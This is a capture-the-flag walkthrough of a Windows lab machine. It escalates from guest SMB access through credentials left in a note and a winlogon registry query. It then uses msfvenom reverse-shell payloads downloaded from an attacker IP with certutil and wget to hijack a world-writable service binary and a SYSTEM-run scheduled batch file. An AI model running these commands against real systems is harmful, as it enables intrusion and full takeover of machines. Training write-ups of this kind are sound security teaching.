Windows Jump CTF walkthrough

A routine vulnerability scan flagged a Windows machine on the internal network; nothing alarming on the surface, just a standard workstation left behind after a round of layoffs. IT never cleaned it up properly. Your job is to find out how badly. Your objective is to escalate from guest access all the way through:

1. Initial Reconnaissance

The engagement began with a targeted Nmap scan to identify open services on the host:

nmap -sS -p22,21,3389,445,443,80,8080,53,88,389,636 10.49.160.82

After identifying key services, a more detailed enumeration was performed on selected ports:

nmap -sC -sV -p445,3389 10.49.160.82

2. SMB Enumeration

Using the guest account, SMB access was attempted:

smbclient.py guest:''@10.49.160.82
or
smbclient //10.49.160.82/public -N

This revealed a welcome note containing credentials, which allowed authenticated access to the system.

3. User Flag Discovery

With valid credentials, the system was explored

dir c:\users\*flag* /s /b

The path to multiple flags was identified, though initially only the first flag was readable

4. Registry Enumeration

The second flag was retrieved by querying the Windows registry:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

runas /user:notadmin cmd.exe

5. Privilege Escalation via Service Exploitation

An unusual service was discovered with a BinaryPath accessible to all users (Everyone:(F) permissions). This service, named svcadmin, provided an opportunity to escalate privileges.

wmic service get name,pathname,startname | findstr /i svcadmin

icacls svc.exe

A reverse shell payload was generated using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.48.126.226 LPORT=4545 -f exe-service -o svc.exe

The payload was hosted via a Python HTTP server, downloaded to the target, and replaced with service’s binary path:

certutil -URLcache -split -f http://10.48.126.226:8000/svc.exe C:\Windows\THMSVC\svc.exe
Start-Service THMSvc

Starting the service yielded a reverse shell as svcadmin.

6. Scheduled Task Exploitation

Navigating to the Scheduled Tasks folder revealed cleanup.bat, owned by SYSTEM but modifiable by svcadmin. This provided a path to full system compromise.

A new payload was generated and downloaded to target:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.48.126.226 LPORT=5555 -f exe -o shell.exe

wget http://10.48.126.226:8000/shell.exe -o C:\Windows\Tasks\shell.exe

The batch file was modified to execute the payload:

cmd /c "echo c:\Windows\Tasks\Shell.exe > c:\Windows\Tasks\Cleanup.bat"

7. SYSTEM Shell & Final Flag

Once the scheduled task executed, a reverse shell was obtained as SYSTEM, granting full control of the machine. The fourth and final flag was successfully retrieved.

🎯 Key Takeaways

• Enumeration is critical: Initial Nmap scans guided the attack path.
• Weak permissions on services and scheduled tasks can lead to privilege escalation.
• Registry and file system exploration revealed sensitive information and flags.
• Payload injection via misconfigured services and scheduled tasks enabled full system compromise.